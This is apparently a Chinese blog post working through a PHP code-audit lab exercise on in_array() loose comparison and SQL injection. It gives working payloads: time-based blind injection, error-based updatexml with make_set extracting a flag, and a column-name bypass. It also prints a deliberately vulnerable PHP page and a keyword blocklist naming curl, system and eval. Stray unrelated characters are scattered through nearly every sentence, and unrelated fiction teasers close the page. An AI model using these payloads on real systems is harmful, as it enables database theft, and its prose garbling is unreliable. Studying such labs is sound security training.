PHP代碼審計學(xué)習(xí)Day1-in_array函數(shù)缺陷

在github發(fā)現(xiàn)了個代碼審計學(xué)習(xí)的資料哮幢,項目叫PHP-Audit-Labs,紅日安全做的志珍,跟著學(xué)習(xí)下做個記錄吧橙垢。
知識點:in_array(),在不知道列名的情況跑數(shù)據(jù)伦糯,make_set()柜某。

in_array():檢查數(shù)組中是否存在某個值,可以接受3個參數(shù)(a,b,c)敛纲。在b中尋找a喂击,如果存在則返回true,否則返回false载慈。第三個參數(shù)c默認為false惭等,如果指定為TRUE ,則 in_array() 函數(shù)會進行強檢查办铡,檢查a的類型是否和b中的相同辞做,則返回 TRUE,否則返回 FALSE寡具。

將他的代碼下到本地秤茅,我這使用phpstudy,用它給的sql語句在本地數(shù)據(jù)庫里運行一下童叠,再將數(shù)據(jù)庫賬號密碼改下框喳,訪問课幕,配置成功。

先黑盒測試五垮,待會在對照代碼測試乍惊。需要傳一個id。隨便傳一個id=1放仗,返回數(shù)據(jù)润绎,添加單引號,報錯诞挨。傳id=1' and '1'='1莉撇,也出錯。傳id=1 and 1=1惶傻,返回正常棍郎,傳id=1 and 1=2返回異常。存在數(shù)字型注入银室。

嘗試union查詢涂佃,發(fā)現(xiàn)union被過濾了。接著用updatexml(1,concat(0x7e,(select database()),0x7e),1)粮揉,發(fā)現(xiàn)concat被過濾了巡李。用burpsuite的intruder模塊fuzz測試下,大概過濾了or,union,concat,sub,join這些關(guān)鍵字。直接盲注吧扶认,用mid()代替substr()侨拦,id=2 and if(mid((select database()),1,1)='d',sleep(5),1)。

然后想起了or被過濾了辐宾,用不了information.schema狱从,也就是說跑不了表名和列名。emmmm接下來盲猜一下它的表(admin,user,users之類的)叠纹,猜到表名users季研,列名從頁面顯示中得到有(id,name,email,salary)。
如果實在不知道列名誉察,可以通過這個姿勢

select `4` from (select 1,2,3,4 union select * from users)a

正常查詢


圖片.png

發(fā)現(xiàn)列名變成了1与涡,2,3持偏,4


圖片.png

成功查到第3列
圖片.png

但是這里過濾了union驼卖,此處用不上這個姿勢。

接著對應(yīng)著代碼看鸿秆,先看index.php酌畜,大意是得到一個id,經(jīng)過stop_hack()處理卿叽,再用in_array()處理后查詢桥胞。

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("連接失敗: ");
}

$sql = "SELECT COUNT(*) FROM users"; 
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}
?>

在config.php中恳守,過濾了一些關(guān)鍵字。

//config.php
<?php  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
?>

再看下題解贩虾,發(fā)現(xiàn)它用make_set()替代了concat()催烘。搜了一下它的用法

id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

make_set(bits,str1,str2,,,,),將第一個參數(shù)轉(zhuǎn)化為二進制缎罢,在1處打印字符str旧噪,0處不打印淆九,詳情如下
1的二進制為0001,倒過來為1000匆瓜,打印a奔则。


圖片.png

2的二進制為0010蛮寂,倒過來為0100,打印b易茬。


圖片.png

7的二進制為0111酬蹋,倒過來為1110,打印a,b,c抽莱。
[圖片上傳中...(圖片.png-7b38da-1562846283165-0)]
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末范抓,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子食铐,更是在濱河造成了極大的恐慌匕垫,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,525評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件虐呻,死亡現(xiàn)場離奇詭異象泵,居然都是意外死亡,警方通過查閱死者的電腦和手機斟叼,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,203評論 3 395
  • 文/潘曉璐 我一進店門偶惠,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人朗涩,你說我怎么就攤上這事忽孽。” “怎么了谢床?”我有些...
    開封第一講書人閱讀 164,862評論 0 354
  • 文/不壞的土叔 我叫張陵兄一,是天一觀的道長。 經(jīng)常有香客問我萤悴,道長瘾腰,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,728評論 1 294
  • 正文 為了忘掉前任覆履,我火速辦了婚禮蹋盆,結(jié)果婚禮上费薄,老公的妹妹穿的比我還像新娘。我一直安慰自己栖雾,他們只是感情好楞抡,可當(dāng)我...
    茶點故事閱讀 67,743評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著析藕,像睡著了一般召廷。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上账胧,一...
    開封第一講書人閱讀 51,590評論 1 305
  • 那天竞慢,我揣著相機與錄音,去河邊找鬼治泥。 笑死筹煮,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的居夹。 我是一名探鬼主播败潦,決...
    沈念sama閱讀 40,330評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼准脂!你這毒婦竟也來了劫扒?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,244評論 0 276
  • 序言:老撾萬榮一對情侶失蹤狸膏,失蹤者是張志新(化名)和其女友劉穎沟饥,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體环戈,經(jīng)...
    沈念sama閱讀 45,693評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡闷板,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,885評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了院塞。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片遮晚。...
    茶點故事閱讀 40,001評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖拦止,靈堂內(nèi)的尸體忽然破棺而出县遣,到底是詐尸還是另有隱情,我是刑警寧澤汹族,帶...
    沈念sama閱讀 35,723評論 5 346
  • 正文 年R本政府宣布萧求,位于F島的核電站,受9級特大地震影響顶瞒,放射性物質(zhì)發(fā)生泄漏夸政。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,343評論 3 330
  • 文/蒙蒙 一榴徐、第九天 我趴在偏房一處隱蔽的房頂上張望守问。 院中可真熱鬧匀归,春花似錦、人聲如沸耗帕。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,919評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽仿便。三九已至体啰,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間嗽仪,已是汗流浹背荒勇。 一陣腳步聲響...
    開封第一講書人閱讀 33,042評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留闻坚,地道東北人枕屉。 一個月前我還...
    沈念sama閱讀 48,191評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像鲤氢,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子西潘,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,955評論 2 355

推薦閱讀更多精彩內(nèi)容

  • web應(yīng)用程序會對用戶的輸入進行驗證卷玉,過濾其中的一些關(guān)鍵字,這種過濾我們可以試著用下面的方法避開喷市。 1相种、 不使用被...
    查無此人asdasd閱讀 7,274評論 0 5
  • ORA-00001: 違反唯一約束條件 (.) 錯誤說明:當(dāng)在唯一索引所對應(yīng)的列上鍵入重復(fù)值時,會觸發(fā)此異常品姓。 O...
    我想起個好名字閱讀 5,317評論 0 9
  • ¥開啟¥ 【iAPP實現(xiàn)進入界面執(zhí)行逐一顯】 〖2017-08-25 15:22:14〗 《//首先開一個線程寝并,因...
    小菜c閱讀 6,419評論 0 17
  • 國家電網(wǎng)公司企業(yè)標(biāo)準(zhǔn)(Q/GDW)- 面向?qū)ο蟮挠秒娦畔?shù)據(jù)交換協(xié)議 - 報批稿:20170802 前言: 排版 ...
    庭說閱讀 10,974評論 6 13
  • Web安全之SQL注入漏洞 本節(jié)知識點 SQL注入原理 前言 結(jié)構(gòu)化查詢語句(Structured Query L...
    f354f7231c35閱讀 2,054評論 0 5